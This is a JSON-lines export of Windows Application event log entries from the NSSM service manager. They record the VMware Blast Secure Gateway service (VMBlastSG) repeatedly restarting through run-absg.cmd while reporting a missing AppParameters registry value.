{"@timestamp":1646648147806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155141}}
{"@timestamp":1646648147807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155142}}
{"@timestamp":1646648147807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155143}}
{"@timestamp":1646648147808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155144}}
{"@timestamp":1646648276301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155145}}
{"@timestamp":1646648276301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155146}}
{"@timestamp":1646648276302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147728","0"]}}},"module":"Application","provider":"nssm","sequence":155147}}
{"@timestamp":1646648276302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147728","147728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155148}}
{"@timestamp":1646648276319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155149}}
{"@timestamp":1646648276319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155150}}
{"@timestamp":1646648276320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155151}}
{"@timestamp":1646648276321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155152}}
{"@timestamp":1646648404811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155153}}
{"@timestamp":1646648404811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155154}}
{"@timestamp":1646648404812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149692","0"]}}},"module":"Application","provider":"nssm","sequence":155155}}
{"@timestamp":1646648404812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149692","149692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155156}}
{"@timestamp":1646648404828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155157}}
{"@timestamp":1646648404828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155158}}
{"@timestamp":1646648404829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155159}}
{"@timestamp":1646648404830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155160}}
{"@timestamp":1646648533440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155161}}
{"@timestamp":1646648533441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155162}}
{"@timestamp":1646648533441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151652","0"]}}},"module":"Application","provider":"nssm","sequence":155163}}
{"@timestamp":1646648533442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151652","151652","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155164}}
{"@timestamp":1646648533457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155165}}
{"@timestamp":1646648533457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155166}}
{"@timestamp":1646648533458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155167}}
{"@timestamp":1646648533459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155168}}
{"@timestamp":1646648661957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155169}}
{"@timestamp":1646648661958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155170}}
{"@timestamp":1646648661958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152448","0"]}}},"module":"Application","provider":"nssm","sequence":155171}}
{"@timestamp":1646648661959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152448","152448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155172}}
{"@timestamp":1646648661974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155173}}
{"@timestamp":1646648661975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155174}}
{"@timestamp":1646648661975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155175}}
{"@timestamp":1646648661976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155176}}
{"@timestamp":1646648790477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155177}}
{"@timestamp":1646648790478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155178}}
{"@timestamp":1646648790478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152136","0"]}}},"module":"Application","provider":"nssm","sequence":155179}}
{"@timestamp":1646648790479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152136","152136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155180}}
{"@timestamp":1646648790495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155181}}
{"@timestamp":1646648790496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155182}}
{"@timestamp":1646648790497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155183}}
{"@timestamp":1646648790498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155184}}
{"@timestamp":1646648918996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155185}}
{"@timestamp":1646648918996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155186}}
{"@timestamp":1646648918997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152552","0"]}}},"module":"Application","provider":"nssm","sequence":155187}}
{"@timestamp":1646648918997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152552","152552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155188}}
{"@timestamp":1646648919013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155189}}
{"@timestamp":1646648919014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155190}}
{"@timestamp":1646648919014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155191}}
{"@timestamp":1646648919015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155192}}
{"@timestamp":1646649047568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155193}}
{"@timestamp":1646649047568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155194}}
{"@timestamp":1646649047569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149696","0"]}}},"module":"Application","provider":"nssm","sequence":155195}}
{"@timestamp":1646649047569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149696","149696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155196}}
{"@timestamp":1646649047585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155197}}
{"@timestamp":1646649047586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155198}}
{"@timestamp":1646649047586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155199}}
{"@timestamp":1646649047587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155200}}
{"@timestamp":1646649176095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155201}}
{"@timestamp":1646649176095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155202}}
{"@timestamp":1646649176096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151772","0"]}}},"module":"Application","provider":"nssm","sequence":155203}}
{"@timestamp":1646649176096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151772","151772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155204}}
{"@timestamp":1646649176113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155205}}
{"@timestamp":1646649176113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155206}}
{"@timestamp":1646649176114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155207}}
{"@timestamp":1646649176115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155208}}
{"@timestamp":1646649304603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155209}}
{"@timestamp":1646649304605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155210}}
{"@timestamp":1646649304606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151496","0"]}}},"module":"Application","provider":"nssm","sequence":155211}}
{"@timestamp":1646649304608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151496","151496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155212}}
{"@timestamp":1646649304624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155213}}
{"@timestamp":1646649304624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155214}}
{"@timestamp":1646649304625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155215}}
{"@timestamp":1646649304626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155216}}
{"@timestamp":1646649433317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155217}}
{"@timestamp":1646649433317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155218}}
{"@timestamp":1646649433318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152184","0"]}}},"module":"Application","provider":"nssm","sequence":155219}}
{"@timestamp":1646649433318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152184","152184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155220}}
{"@timestamp":1646649433333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155221}}
{"@timestamp":1646649433334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155222}}
{"@timestamp":1646649433335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155223}}
{"@timestamp":1646649433335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155224}}
{"@timestamp":1646649561830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155225}}
{"@timestamp":1646649561831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155226}}
{"@timestamp":1646649561831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149724","0"]}}},"module":"Application","provider":"nssm","sequence":155227}}
{"@timestamp":1646649561832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149724","149724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155228}}
{"@timestamp":1646649561847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155229}}
{"@timestamp":1646649561848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155230}}
{"@timestamp":1646649561849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155231}}
{"@timestamp":1646649561850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155232}}
{"@timestamp":1646649690350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155233}}
{"@timestamp":1646649690351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155234}}
{"@timestamp":1646649690351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148104","0"]}}},"module":"Application","provider":"nssm","sequence":155235}}
{"@timestamp":1646649690352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148104","148104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155236}}
{"@timestamp":1646649690367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155237}}
{"@timestamp":1646649690368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155238}}
{"@timestamp":1646649690368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155239}}
{"@timestamp":1646649690369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155240}}
{"@timestamp":1646649818861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155241}}
{"@timestamp":1646649818862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155242}}
{"@timestamp":1646649818862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150056","0"]}}},"module":"Application","provider":"nssm","sequence":155243}}
{"@timestamp":1646649818863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150056","150056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155244}}
{"@timestamp":1646649818879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155245}}
